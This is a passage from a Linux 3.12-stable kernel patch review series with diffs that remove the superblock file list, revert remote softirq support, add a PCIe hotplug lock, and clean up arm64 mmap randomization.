-				INIT_LIST_HEAD(per_cpu_ptr(s->s_files, i));
-		}
+	s->s_files = alloc_percpu(struct list_head);
+	if (!s->s_files)
+		goto fail;
+	for_each_possible_cpu(i)
+		INIT_LIST_HEAD(per_cpu_ptr(s->s_files, i));
 #else
-		INIT_LIST_HEAD(&s->s_files);
+	INIT_LIST_HEAD(&s->s_files);
 #endif
-		if (init_sb_writers(s, type))
-			goto err_out;
-		s->s_flags = flags;
-		s->s_bdi = &default_backing_dev_info;
-		INIT_HLIST_NODE(&s->s_instances);
-		INIT_HLIST_BL_HEAD(&s->s_anon);
-		INIT_LIST_HEAD(&s->s_inodes);
-
-		if (list_lru_init(&s->s_dentry_lru))
-			goto err_out;
-		if (list_lru_init(&s->s_inode_lru))
-			goto err_out_dentry_lru;
-
-		INIT_LIST_HEAD(&s->s_mounts);
-		init_rwsem(&s->s_umount);
-		lockdep_set_class(&s->s_umount, &type->s_umount_key);
-		/*
-		 * sget() can have s_umount recursion.
-		 *
-		 * When it cannot find a suitable sb, it allocates a new
-		 * one (this one), and tries again to find a suitable old
-		 * one.
-		 *
-		 * In case that succeeds, it will acquire the s_umount
-		 * lock of the old one. Since these are clearly distrinct
-		 * locks, and this object isn't exposed yet, there's no
-		 * risk of deadlocks.
-		 *
-		 * Annotate this by putting this lock in a different
-		 * subclass.
-		 */
-		down_write_nested(&s->s_umount, SINGLE_DEPTH_NESTING);
-		s->s_count = 1;
-		atomic_set(&s->s_active, 1);
-		mutex_init(&s->s_vfs_rename_mutex);
-		lockdep_set_class(&s->s_vfs_rename_mutex, &type->s_vfs_rename_key);
-		mutex_init(&s->s_dquot.dqio_mutex);
-		mutex_init(&s->s_dquot.dqonoff_mutex);
-		init_rwsem(&s->s_dquot.dqptr_sem);
-		s->s_maxbytes = MAX_NON_LFS;
-		s->s_op = &default_op;
-		s->s_time_gran = 1000000000;
-		s->cleancache_poolid = -1;
-
-		s->s_shrink.seeks = DEFAULT_SEEKS;
-		s->s_shrink.scan_objects = super_cache_scan;
-		s->s_shrink.count_objects = super_cache_count;
-		s->s_shrink.batch = 1024;
-		s->s_shrink.flags = SHRINKER_NUMA_AWARE;
+	for (i = 0; i < SB_FREEZE_LEVELS; i++) {
+		if (percpu_counter_init(&s->s_writers.counter[i], 0) < 0)
+			goto fail;
+		lockdep_init_map(&s->s_writers.lock_map[i], sb_writers_name[i],
+				 &type->s_writers_key[i], 0);
 	}
-out:
+	init_waitqueue_head(&s->s_writers.wait);
+	init_waitqueue_head(&s->s_writers.wait_unfrozen);
+	s->s_flags = flags;
+	s->s_bdi = &default_backing_dev_info;
+	INIT_HLIST_NODE(&s->s_instances);
+	INIT_HLIST_BL_HEAD(&s->s_anon);
+	INIT_LIST_HEAD(&s->s_inodes);
+
+	if (list_lru_init(&s->s_dentry_lru))
+		goto fail;
+	if (list_lru_init(&s->s_inode_lru))
+		goto fail;
+
+	INIT_LIST_HEAD(&s->s_mounts);
+	init_rwsem(&s->s_umount);
+	lockdep_set_class(&s->s_umount, &type->s_umount_key);
+	/*
+	 * sget() can have s_umount recursion.
+	 *
+	 * When it cannot find a suitable sb, it allocates a new
+	 * one (this one), and tries again to find a suitable old
+	 * one.
+	 *
+	 * In case that succeeds, it will acquire the s_umount
+	 * lock of the old one. Since these are clearly distrinct
+	 * locks, and this object isn't exposed yet, there's no
+	 * risk of deadlocks.
+	 *
+	 * Annotate this by putting this lock in a different
+	 * subclass.
+	 */
+	down_write_nested(&s->s_umount, SINGLE_DEPTH_NESTING);
+	s->s_count = 1;
+	atomic_set(&s->s_active, 1);
+	mutex_init(&s->s_vfs_rename_mutex);
+	lockdep_set_class(&s->s_vfs_rename_mutex, &type->s_vfs_rename_key);
+	mutex_init(&s->s_dquot.dqio_mutex);
+	mutex_init(&s->s_dquot.dqonoff_mutex);
+	init_rwsem(&s->s_dquot.dqptr_sem);
+	s->s_maxbytes = MAX_NON_LFS;
+	s->s_op = &default_op;
+	s->s_time_gran = 1000000000;
+	s->cleancache_poolid = -1;
+
+	s->s_shrink.seeks = DEFAULT_SEEKS;
+	s->s_shrink.scan_objects = super_cache_scan;
+	s->s_shrink.count_objects = super_cache_count;
+	s->s_shrink.batch = 1024;
+	s->s_shrink.flags = SHRINKER_NUMA_AWARE;
 	return s;
 
-err_out_dentry_lru:
-	list_lru_destroy(&s->s_dentry_lru);
-err_out:
-	security_sb_free(s);
-#ifdef CONFIG_SMP
-	if (s->s_files)
-		free_percpu(s->s_files);
-#endif
-	destroy_sb_writers(s);
-out_free_sb:
-	kfree(s);
-	s = NULL;
-	goto out;
-}
-
-/**
- *	destroy_super	-	frees a superblock
- *	@s: superblock to free
- *
- *	Frees a superblock.
- */
-static inline void destroy_super(struct super_block *s)
-{
-	list_lru_destroy(&s->s_dentry_lru);
-	list_lru_destroy(&s->s_inode_lru);
-#ifdef CONFIG_SMP
-	free_percpu(s->s_files);
-#endif
-	destroy_sb_writers(s);
-	security_sb_free(s);
-	WARN_ON(!list_empty(&s->s_mounts));
-	kfree(s->s_subtype);
-	kfree(s->s_options);
-	kfree(s);
+fail:
+	destroy_super(s);
+	return NULL;
 }
 
 /* Superblock refcounting  */
-- 
2.4.6

[PATCH 3.12 072/124] get rid of s_files and files_lock

[Jiri Slaby]

From: Al Viro <viro@zeniv.linux.org.uk>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit eee5cc2702929fd41cce28058dc6d6717f723f87 upstream.

The only thing we need it for is alt-sysrq-r (emergency remount r/o)
and these days we can do just as well without going through the
list of files.

Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 fs/file_table.c    | 125 -----------------------------------------------------
 fs/internal.h      |   3 --
 fs/open.c          |   2 -
 fs/super.c         |  15 +------
 include/linux/fs.h |  13 ------
 5 files changed, 2 insertions(+), 156 deletions(-)

diff --git a/fs/file_table.c b/fs/file_table.c
index 05e2ac19b6c4..8070f81a3286 100644
--- a/fs/file_table.c
+++ b/fs/file_table.c
@@ -36,8 +36,6 @@ struct files_stat_struct files_stat = {
 	.max_files = NR_FILE
 };
 
-DEFINE_STATIC_LGLOCK(files_lglock);
-
 /* SLAB cache for file structures */
 static struct kmem_cache *filp_cachep __read_mostly;
 
@@ -134,7 +132,6 @@ struct file *get_empty_filp(void)
 		return ERR_PTR(error);
 	}
 
-	INIT_LIST_HEAD(&f->f_u.fu_list);
 	atomic_long_set(&f->f_count, 1);
 	rwlock_init(&f->f_owner.lock);
 	spin_lock_init(&f->f_lock);
@@ -304,7 +301,6 @@ void fput(struct file *file)
 	if (atomic_long_dec_and_test(&file->f_count)) {
 		struct task_struct *task = current;
 
-		file_sb_list_del(file);
 		if (likely(!in_interrupt() && !(task->flags & PF_KTHREAD))) {
 			init_task_work(&file->f_u.fu_rcuhead, ____fput);
 			if (!task_work_add(task, &file->f_u.fu_rcuhead, true))
@@ -333,7 +329,6 @@ void __fput_sync(struct file *file)
 {
 	if (atomic_long_dec_and_test(&file->f_count)) {
 		struct task_struct *task = current;
-		file_sb_list_del(file);
 		BUG_ON(!(task->flags & PF_KTHREAD));
 		__fput(file);
 	}
@@ -345,129 +340,10 @@ void put_filp(struct file *file)
 {
 	if (atomic_long_dec_and_test(&file->f_count)) {
 		security_file_free(file);
-		file_sb_list_del(file);
 		file_free(file);
 	}
 }
 
-static inline int file_list_cpu(struct file *file)
-{
-#ifdef CONFIG_SMP
-	return file->f_sb_list_cpu;
-#else
-	return smp_processor_id();
-#endif
-}
-
-/* helper for file_sb_list_add to reduce ifdefs */
-static inline void __file_sb_list_add(struct file *file, struct super_block *sb)
-{
-	struct list_head *list;
-#ifdef CONFIG_SMP
-	int cpu;
-	cpu = smp_processor_id();
-	file->f_sb_list_cpu = cpu;
-	list = per_cpu_ptr(sb->s_files, cpu);
-#else
-	list = &sb->s_files;
-#endif
-	list_add(&file->f_u.fu_list, list);
-}
-
-/**
- * file_sb_list_add - add a file to the sb's file list
- * @file: file to add
- * @sb: sb to add it to
- *
- * Use this function to associate a file with the superblock of the inode it
- * refers to.
- */
-void file_sb_list_add(struct file *file, struct super_block *sb)
-{
-	if (likely(!(file->f_mode & FMODE_WRITE)))
-		return;
-	if (!S_ISREG(file_inode(file)->i_mode))
-		return;
-	lg_local_lock(&files_lglock);
-	__file_sb_list_add(file, sb);
-	lg_local_unlock(&files_lglock);
-}
-
-/**
- * file_sb_list_del - remove a file from the sb's file list
- * @file: file to remove
- * @sb: sb to remove it from
- *
- * Use this function to remove a file from its superblock.
- */
-void file_sb_list_del(struct file *file)
-{
-	if (!list_empty(&file->f_u.fu_list)) {
-		lg_local_lock_cpu(&files_lglock, file_list_cpu(file));
-		list_del_init(&file->f_u.fu_list);
-		lg_local_unlock_cpu(&files_lglock, file_list_cpu(file));
-	}
-}
-
-#ifdef CONFIG_SMP
-
-/*
- * These macros iterate all files on all CPUs for a given superblock.
- * files_lglock must be held globally.
- */
-#define do_file_list_for_each_entry(__sb, __file)		\
-{								\
-	int i;							\
-	for_each_possible_cpu(i) {				\
-		struct list_head *list;				\
-		list = per_cpu_ptr((__sb)->s_files, i);		\
-		list_for_each_entry((__file), list, f_u.fu_list)
-
-#define while_file_list_for_each_entry				\
-	}							\
-}
-
-#else
-
-#define do_file_list_for_each_entry(__sb, __file)		\
-{								\
-	struct list_head *list;					\
-	list = &(sb)->s_files;					\
-	list_for_each_entry((__file), list, f_u.fu_list)
-
-#define while_file_list_for_each_entry				\
-}
-
-#endif
-
-/**
- *	mark_files_ro - mark all files read-only
- *	@sb: superblock in question
- *
- *	All files are marked read-only.  We don't care about pending
- *	delete files so this should be used in 'force' mode only.
- */
-void mark_files_ro(struct super_block *sb)
-{
-	struct file *f;
-
-	lg_global_lock(&files_lglock);
-	do_file_list_for_each_entry(sb, f) {
-		if (!file_count(f))
-			continue;
-		if (!(f->f_mode & FMODE_WRITE))
-			continue;
-		spin_lock(&f->f_lock);
-		f->f_mode &= ~FMODE_WRITE;
-		spin_unlock(&f->f_lock);
-		if (file_check_writeable(f) != 0)
-			continue;
-		__mnt_drop_write(f->f_path.mnt);
-		file_release_write(f);
-	} while_file_list_for_each_entry;
-	lg_global_unlock(&files_lglock);
-}
-
 void __init files_init(unsigned long mempages)
 { 
 	unsigned long n;
@@ -483,6 +359,5 @@ void __init files_init(unsigned long mempages)
 	n = (mempages * (PAGE_SIZE / 1024)) / 10;
 	files_stat.max_files = max_t(unsigned long, n, NR_FILE);
 	files_defer_init();
-	lg_lock_init(&files_lglock, "files_lglock");
 	percpu_counter_init(&nr_files, 0);
 } 
diff --git a/fs/internal.h b/fs/internal.h
index 6026fc0fbae0..656bcd4b281f 100644
--- a/fs/internal.h
+++ b/fs/internal.h
@@ -77,9 +77,6 @@ extern void chroot_fs_refs(const struct path *, const struct path *);
 /*
  * file_table.c
  */
-extern void file_sb_list_add(struct file *f, struct super_block *sb);
-extern void file_sb_list_del(struct file *f);
-extern void mark_files_ro(struct super_block *);
 extern struct file *get_empty_filp(void);
 
 /*
diff --git a/fs/open.c b/fs/open.c
index 730a5870895d..fc9c0ceed464 100644
--- a/fs/open.c
+++ b/fs/open.c
@@ -673,7 +673,6 @@ static int do_dentry_open(struct file *f,
 	}
 
 	f->f_mapping = inode->i_mapping;
-	file_sb_list_add(f, inode->i_sb);
 
 	if (unlikely(f->f_mode & FMODE_PATH)) {
 		f->f_op = &empty_fops;
@@ -708,7 +707,6 @@ static int do_dentry_open(struct file *f,
 
 cleanup_all:
 	fops_put(f->f_op);
-	file_sb_list_del(f);
 	if (f->f_mode & FMODE_WRITE) {
 		if (!special_file(inode->i_mode)) {
 			/*
diff --git a/fs/super.c b/fs/super.c
index 59c6983682b2..e3406833d82f 100644
--- a/fs/super.c
+++ b/fs/super.c
@@ -146,9 +146,6 @@ static void destroy_super(struct super_block *s)
 	int i;
 	list_lru_destroy(&s->s_dentry_lru);
 	list_lru_destroy(&s->s_inode_lru);
-#ifdef CONFIG_SMP
-	free_percpu(s->s_files);
-#endif
 	for (i = 0; i < SB_FREEZE_LEVELS; i++)
 		percpu_counter_destroy(&s->s_writers.counter[i]);
 	security_sb_free(s);
@@ -178,15 +175,6 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags)
 	if (security_sb_alloc(s))
 		goto fail;
 
-#ifdef CONFIG_SMP
-	s->s_files = alloc_percpu(struct list_head);
-	if (!s->s_files)
-		goto fail;
-	for_each_possible_cpu(i)
-		INIT_LIST_HEAD(per_cpu_ptr(s->s_files, i));
-#else
-	INIT_LIST_HEAD(&s->s_files);
-#endif
 	for (i = 0; i < SB_FREEZE_LEVELS; i++) {
 		if (percpu_counter_init(&s->s_writers.counter[i], 0) < 0)
 			goto fail;
@@ -726,7 +714,8 @@ int do_remount_sb(struct super_block *sb, int flags, void *data, int force)
 	   make sure there are no rw files opened */
 	if (remount_ro) {
 		if (force) {
-			mark_files_ro(sb);
+			sb->s_readonly_remount = 1;
+			smp_wmb();
 		} else {
 			retval = sb_prepare_remount_readonly(sb);
 			if (retval)
diff --git a/include/linux/fs.h b/include/linux/fs.h
index 9cb726aa09fc..042b61b7a2ad 100644
--- a/include/linux/fs.h
+++ b/include/linux/fs.h
@@ -764,12 +764,7 @@ static inline int ra_has_index(struct file_ra_state *ra, pgoff_t index)
 #define FILE_MNT_WRITE_RELEASED	2
 
 struct file {
-	/*
-	 * fu_list becomes invalid after file_free is called and queued via
-	 * fu_rcuhead for RCU freeing
-	 */
 	union {
-		struct list_head	fu_list;
 		struct llist_node	fu_llist;
 		struct rcu_head 	fu_rcuhead;
 	} f_u;
@@ -783,9 +778,6 @@ struct file {
 	 * Must not be taken from IRQ context.
 	 */
 	spinlock_t		f_lock;
-#ifdef CONFIG_SMP
-	int			f_sb_list_cpu;
-#endif
 	atomic_long_t		f_count;
 	unsigned int 		f_flags;
 	fmode_t			f_mode;
@@ -1264,11 +1256,6 @@ struct super_block {
 
 	struct list_head	s_inodes;	/* all inodes */
 	struct hlist_bl_head	s_anon;		/* anonymous dentries for (nfs) exporting */
-#ifdef CONFIG_SMP
-	struct list_head __percpu *s_files;
-#else
-	struct list_head	s_files;
-#endif
 	struct list_head	s_mounts;	/* list of mounts; _not_ for fs use */
 	struct block_device	*s_bdev;
 	struct backing_dev_info *s_bdi;
-- 
2.4.6

[PATCH 3.12 073/124] revert "softirq: Add support for triggering softirq work on softirqs"

[Jiri Slaby]

From: Christoph Hellwig <hch@infradead.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit fc21c0cff2f425891b28ff6fb6b03b325c977428 upstream.

This commit was incomplete in that code to remove items from the per-cpu
lists was missing and never acquired a user in the 5 years it has been in
the tree.  We're going to implement what it seems to try to archive in a
simpler way, and this code is in the way of doing so.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Cc: Jan Kara <jack@suse.cz>
Cc: Jens Axboe <axboe@kernel.dk>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 include/linux/interrupt.h |  22 --------
 kernel/softirq.c          | 131 ----------------------------------------------
 2 files changed, 153 deletions(-)

diff --git a/include/linux/interrupt.h b/include/linux/interrupt.h
index 623ab2d787d9..2778d389a6ce 100644
--- a/include/linux/interrupt.h
+++ b/include/linux/interrupt.h
@@ -11,8 +11,6 @@
 #include <linux/irqnr.h>
 #include <linux/hardirq.h>
 #include <linux/irqflags.h>
-#include <linux/smp.h>
-#include <linux/percpu.h>
 #include <linux/hrtimer.h>
 #include <linux/kref.h>
 #include <linux/workqueue.h>
@@ -419,15 +417,6 @@ extern void __raise_softirq_irqoff(unsigned int nr);
 extern void raise_softirq_irqoff(unsigned int nr);
 extern void raise_softirq(unsigned int nr);
 
-/* This is the worklist that queues up per-cpu softirq work.
- *
- * send_remote_sendirq() adds work to these lists, and
- * the softirq handler itself dequeues from them.  The queues
- * are protected by disabling local cpu interrupts and they must
- * only be accessed by the local cpu that they are for.
- */
-DECLARE_PER_CPU(struct list_head [NR_SOFTIRQS], softirq_work_list);
-
 DECLARE_PER_CPU(struct task_struct *, ksoftirqd);
 
 static inline struct task_struct *this_cpu_ksoftirqd(void)
@@ -435,17 +424,6 @@ static inline struct task_struct *this_cpu_ksoftirqd(void)
 	return this_cpu_read(ksoftirqd);
 }
 
-/* Try to send a softirq to a remote cpu.  If this cannot be done, the
- * work will be queued to the local cpu.
- */
-extern void send_remote_softirq(struct call_single_data *cp, int cpu, int softirq);
-
-/* Like send_remote_softirq(), but the caller must disable local cpu interrupts
- * and compute the current cpu, passed in as 'this_cpu'.
- */
-extern void __send_remote_softirq(struct call_single_data *cp, int cpu,
-				  int this_cpu, int softirq);
-
 /* Tasklets --- multithreaded analogue of BHs.
 
    Main feature differing them of generic softirqs: tasklet
diff --git a/kernel/softirq.c b/kernel/softirq.c
index b331c8756543..cdd2c3c4df74 100644
--- a/kernel/softirq.c
+++ b/kernel/softirq.c
@@ -6,8 +6,6 @@
  *	Distribute under GPLv2.
  *
  *	Rewritten. Old one was good in 2.2, but in 2.3 it was immoral. --ANK (990903)
- *
- *	Remote softirq infrastructure is by Jens Axboe.
  */
 
 #include <linux/export.h>
@@ -618,146 +616,17 @@ void tasklet_hrtimer_init(struct tasklet_hrtimer *ttimer,
 }
 EXPORT_SYMBOL_GPL(tasklet_hrtimer_init);
 
-/*
- * Remote softirq bits
- */
-
-DEFINE_PER_CPU(struct list_head [NR_SOFTIRQS], softirq_work_list);
-EXPORT_PER_CPU_SYMBOL(softirq_work_list);
-
-static void __local_trigger(struct call_single_data *cp, int softirq)
-{
-	struct list_head *head = &__get_cpu_var(softirq_work_list[softirq]);
-
-	list_add_tail(&cp->list, head);
-
-	/* Trigger the softirq only if the list was previously empty.  */
-	if (head->next == &cp->list)
-		raise_softirq_irqoff(softirq);
-}
-
-#ifdef CONFIG_USE_GENERIC_SMP_HELPERS
-static void remote_softirq_receive(void *data)
-{
-	struct call_single_data *cp = data;
-	unsigned long flags;
-	int softirq;
-
-	softirq = *(int *)cp->info;
-	local_irq_save(flags);
-	__local_trigger(cp, softirq);
-	local_irq_restore(flags);
-}
-
-static int __try_remote_softirq(struct call_single_data *cp, int cpu, int softirq)
-{
-	if (cpu_online(cpu)) {
-		cp->func = remote_softirq_receive;
-		cp->info = &softirq;
-		cp->flags = 0;
-
-		__smp_call_function_single(cpu, cp, 0);
-		return 0;
-	}
-	return 1;
-}
-#else /* CONFIG_USE_GENERIC_SMP_HELPERS */
-static int __try_remote_softirq(struct call_single_data *cp, int cpu, int softirq)
-{
-	return 1;
-}
-#endif
-
-/**
- * __send_remote_softirq - try to schedule softirq work on a remote cpu
- * @cp: private SMP call function data area
- * @cpu: the remote cpu
- * @this_cpu: the currently executing cpu
- * @softirq: the softirq for the work
- *
- * Attempt to schedule softirq work on a remote cpu.  If this cannot be
- * done, the work is instead queued up on the local cpu.
- *
- * Interrupts must be disabled.
- */
-void __send_remote_softirq(struct call_single_data *cp, int cpu, int this_cpu, int softirq)
-{
-	if (cpu == this_cpu || __try_remote_softirq(cp, cpu, softirq))
-		__local_trigger(cp, softirq);
-}
-EXPORT_SYMBOL(__send_remote_softirq);
-
-/**
- * send_remote_softirq - try to schedule softirq work on a remote cpu
- * @cp: private SMP call function data area
- * @cpu: the remote cpu
- * @softirq: the softirq for the work
- *
- * Like __send_remote_softirq except that disabling interrupts and
- * computing the current cpu is done for the caller.
- */
-void send_remote_softirq(struct call_single_data *cp, int cpu, int softirq)
-{
-	unsigned long flags;
-	int this_cpu;
-
-	local_irq_save(flags);
-	this_cpu = smp_processor_id();
-	__send_remote_softirq(cp, cpu, this_cpu, softirq);
-	local_irq_restore(flags);
-}
-EXPORT_SYMBOL(send_remote_softirq);
-
-static int remote_softirq_cpu_notify(struct notifier_block *self,
-					       unsigned long action, void *hcpu)
-{
-	/*
-	 * If a CPU goes away, splice its entries to the current CPU
-	 * and trigger a run of the softirq
-	 */
-	if (action == CPU_DEAD || action == CPU_DEAD_FROZEN) {
-		int cpu = (unsigned long) hcpu;
-		int i;
-
-		local_irq_disable();
-		for (i = 0; i < NR_SOFTIRQS; i++) {
-			struct list_head *head = &per_cpu(softirq_work_list[i], cpu);
-			struct list_head *local_head;
-
-			if (list_empty(head))
-				continue;
-
-			local_head = &__get_cpu_var(softirq_work_list[i]);
-			list_splice_init(head, local_head);
-			raise_softirq_irqoff(i);
-		}
-		local_irq_enable();
-	}
-
-	return NOTIFY_OK;
-}
-
-static struct notifier_block remote_softirq_cpu_notifier = {
-	.notifier_call	= remote_softirq_cpu_notify,
-};
-
 void __init softirq_init(void)
 {
 	int cpu;
 
 	for_each_possible_cpu(cpu) {
-		int i;
-
 		per_cpu(tasklet_vec, cpu).tail =
 			&per_cpu(tasklet_vec, cpu).head;
 		per_cpu(tasklet_hi_vec, cpu).tail =
 			&per_cpu(tasklet_hi_vec, cpu).head;
-		for (i = 0; i < NR_SOFTIRQS; i++)
-			INIT_LIST_HEAD(&per_cpu(softirq_work_list[i], cpu));
 	}
 
-	register_hotcpu_notifier(&remote_softirq_cpu_notifier);
-
 	open_softirq(TASKLET_SOFTIRQ, tasklet_action);
 	open_softirq(HI_SOFTIRQ, tasklet_hi_action);
 }
-- 
2.4.6

[PATCH 3.12 074/124] PCI: pciehp: Add hotplug_lock to serialize hotplug events

[Jiri Slaby]

From: Rajat Jain <rajatxjain@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 50b52fdee050745935d92e7026373edea2647e60 upstream.

Today it is there is no protection around pciehp_enable_slot() and
pciehp_disable_slot() to ensure that they complete before another
hot-plug operation can be done on that particular slot.

This patch introduces the slot->hotplug_lock to ensure that any hotplug
operations (add / remove) complete before another hotplug event can begin
processing on that particular slot.

Signed-off-by: Rajat Jain <rajatxjain@gmail.com>
Signed-off-by: Rajat Jain <rajatjain@juniper.net>
Signed-off-by: Guenter Roeck <groeck@juniper.net>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
[backported for SLE12]
Signed-off-by: Luis R. Rodriguez <mcgrof@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 drivers/pci/hotplug/pciehp.h      |  1 +
 drivers/pci/hotplug/pciehp_core.c |  7 ++++++-
 drivers/pci/hotplug/pciehp_ctrl.c | 17 +++++++++++++++--
 drivers/pci/hotplug/pciehp_hpc.c  |  1 +
 4 files changed, 23 insertions(+), 3 deletions(-)

diff --git a/drivers/pci/hotplug/pciehp.h b/drivers/pci/hotplug/pciehp.h
index 541bbe6d5343..b7f1ba33c4c1 100644
--- a/drivers/pci/hotplug/pciehp.h
+++ b/drivers/pci/hotplug/pciehp.h
@@ -77,6 +77,7 @@ struct slot {
 	struct hotplug_slot *hotplug_slot;
 	struct delayed_work work;	/* work for button event */
 	struct mutex lock;
+	struct mutex hotplug_lock;
 	struct workqueue_struct *wq;
 };
 
diff --git a/drivers/pci/hotplug/pciehp_core.c b/drivers/pci/hotplug/pciehp_core.c
index f4a18f51a29c..3904483ef12b 100644
--- a/drivers/pci/hotplug/pciehp_core.c
+++ b/drivers/pci/hotplug/pciehp_core.c
@@ -278,8 +278,11 @@ static int pciehp_probe(struct pcie_device *dev)
 	slot = ctrl->slot;
 	pciehp_get_adapter_status(slot, &occupied);
 	pciehp_get_power_status(slot, &poweron);
-	if (occupied && pciehp_force)
+	if (occupied && pciehp_force) {
+		mutex_lock(&slot->hotplug_lock);
 		pciehp_enable_slot(slot);
+		mutex_unlock(&slot->hotplug_lock);
+	}
 	/* If empty slot's power status is on, turn power off */
 	if (!occupied && poweron && POWER_CTRL(ctrl))
 		pciehp_power_off_slot(slot);
@@ -323,10 +326,12 @@ static int pciehp_resume (struct pcie_device *dev)
 
 	/* Check if slot is occupied */
 	pciehp_get_adapter_status(slot, &status);
+	mutex_lock(&slot->hotplug_lock);
 	if (status)
 		pciehp_enable_slot(slot);
 	else
 		pciehp_disable_slot(slot);
+	mutex_unlock(&slot->hotplug_lock);
 	return 0;
 }
 #endif /* PM */
diff --git a/drivers/pci/hotplug/pciehp_ctrl.c b/drivers/pci/hotplug/pciehp_ctrl.c
index 38f018679175..62bfb528b4ff 100644
--- a/drivers/pci/hotplug/pciehp_ctrl.c
+++ b/drivers/pci/hotplug/pciehp_ctrl.c
@@ -290,6 +290,7 @@ static void pciehp_power_thread(struct work_struct *work)
 	struct power_work_info *info =
 		container_of(work, struct power_work_info, work);
 	struct slot *p_slot = info->p_slot;
+	int ret;
 
 	mutex_lock(&p_slot->lock);
 	switch (p_slot->state) {
@@ -299,13 +300,18 @@ static void pciehp_power_thread(struct work_struct *work)
 			 "Disabling domain:bus:device=%04x:%02x:00\n",
 			 pci_domain_nr(p_slot->ctrl->pcie->port->subordinate),
 			 p_slot->ctrl->pcie->port->subordinate->number);
+		mutex_lock(&p_slot->hotplug_lock);
 		pciehp_disable_slot(p_slot);
+		mutex_unlock(&p_slot->hotplug_lock);
 		mutex_lock(&p_slot->lock);
 		p_slot->state = STATIC_STATE;
 		break;
 	case POWERON_STATE:
 		mutex_unlock(&p_slot->lock);
-		if (pciehp_enable_slot(p_slot) && PWR_LED(p_slot->ctrl))
+		mutex_lock(&p_slot->hotplug_lock);
+		ret = pciehp_enable_slot(p_slot);
+		mutex_unlock(&p_slot->hotplug_lock);
+		if (ret && PWR_LED(p_slot->ctrl))
 			pciehp_green_led_off(p_slot);
 		mutex_lock(&p_slot->lock);
 		p_slot->state = STATIC_STATE;
@@ -476,6 +482,9 @@ static void interrupt_event_handler(struct work_struct *work)
 	kfree(info);
 }
 
+/*
+ * Note: This function must be called with slot->hotplug_lock held
+ */
 int pciehp_enable_slot(struct slot *p_slot)
 {
 	u8 getstatus = 0;
@@ -514,7 +523,9 @@ int pciehp_enable_slot(struct slot *p_slot)
 	return rc;
 }
 
-
+/*
+ * Note: This function must be called with slot->hotplug_lock held
+ */
 int pciehp_disable_slot(struct slot *p_slot)
 {
 	u8 getstatus = 0;
@@ -566,7 +577,9 @@ int pciehp_sysfs_enable_slot(struct slot *p_slot)
 	case STATIC_STATE:
 		p_slot->state = POWERON_STATE;
 		mutex_unlock(&p_slot->lock);
+		mutex_lock(&p_slot->hotplug_lock);
 		retval = pciehp_enable_slot(p_slot);
+		mutex_unlock(&p_slot->hotplug_lock);
 		mutex_lock(&p_slot->lock);
 		p_slot->state = STATIC_STATE;
 		break;
diff --git a/drivers/pci/hotplug/pciehp_hpc.c b/drivers/pci/hotplug/pciehp_hpc.c
index 51f56ef4ab6f..f49e74239aed 100644
--- a/drivers/pci/hotplug/pciehp_hpc.c
+++ b/drivers/pci/hotplug/pciehp_hpc.c
@@ -815,6 +815,7 @@ static int pcie_init_slot(struct controller *ctrl)
 
 	slot->ctrl = ctrl;
 	mutex_init(&slot->lock);
+	mutex_init(&slot->hotplug_lock);
 	INIT_DELAYED_WORK(&slot->work, pciehp_queue_pushbutton_work);
 	ctrl->slot = slot;
 	return 0;
-- 
2.4.6

[PATCH 3.12 075/124] arm64/mm: Remove hack in mmap randomize layout

[Jiri Slaby]

From: Yann Droneaud <ydroneaud@opteya.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit d6c763afab142a85e4770b4bc2a5f40f256d5c5d upstream.

Since commit 8a0a9bd4db63 ('random: make get_random_int() more
random'), get_random_int() returns a random value for each call,
so comment and hack introduced in mmap_rnd() as part of commit
1d18c47c735e ('arm64: MMU fault handling and page table management')
are incorrects.

Commit 1d18c47c735e seems to use the same hack introduced by
commit a5adc91a4b44 ('powerpc: Ensure random space between stack
and mmaps'), latter copied in commit 5a0efea09f42 ('sparc64: Sharpen
address space randomization calculations.').

But both architectures were cleaned up as part of commit
fa8cbaaf5a68 ('powerpc+sparc64/mm: Remove hack in mmap randomize
layout') as hack is no more needed since commit 8a0a9bd4db63.

So the present patch removes the comment and the hack around
get_random_int() on AArch64's mmap_rnd().

Cc: David S. Miller <davem@davemloft.net>
Cc: Anton Blanchard <anton@samba.org>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Acked-by: Will Deacon <will.deacon@arm.com>
Acked-by: Dan McGee <dpmcgee@gmail.com>
Signed-off-by: Yann Droneaud <ydroneaud@opteya.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 arch/arm64/mm/mmap.c | 12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

diff --git a/arch/arm64/mm/mmap.c b/arch/arm64/mm/mmap.c
index 8ed6cb1a900f..8f7ffffc63e9 100644
--- a/arch/arm64/mm/mmap.c
+++ b/arch/arm64/mm/mmap.c
@@ -47,22 +47,14 @@ static int mmap_is_legacy(void)
 	return sysctl_legacy_va_layout;
 }
 
-/*
- * Since get_random_int() returns the same value within a 1 jiffy window, we
- * will almost always get the same randomisation for the stack and mmap
- * region. This will mean the relative distance between stack and mmap will be
- * the same.
- *
- * To avoid this we can shift the randomness by 1 bit.
- */
 static unsigned long mmap_rnd(void)
 {
 	unsigned long rnd = 0;
 
 	if (current->flags & PF_RANDOMIZE)
-		rnd = (long)get_random_int() & (STACK_RND_MASK >> 1);
+		rnd = (long)get_random_int() & STACK_RND_MASK;
 
-	return rnd << (PAGE_SHIFT + 1);
+	return rnd << PAGE_SHIFT;
 }
 
 static unsigned long mmap_base(void)
-- 
2.4.6

[PATCH 3.12 076/124] sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in softirq context

[Jiri Slaby]

From: Sowmini Varadhan <sowmini.varadhan@oracle.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

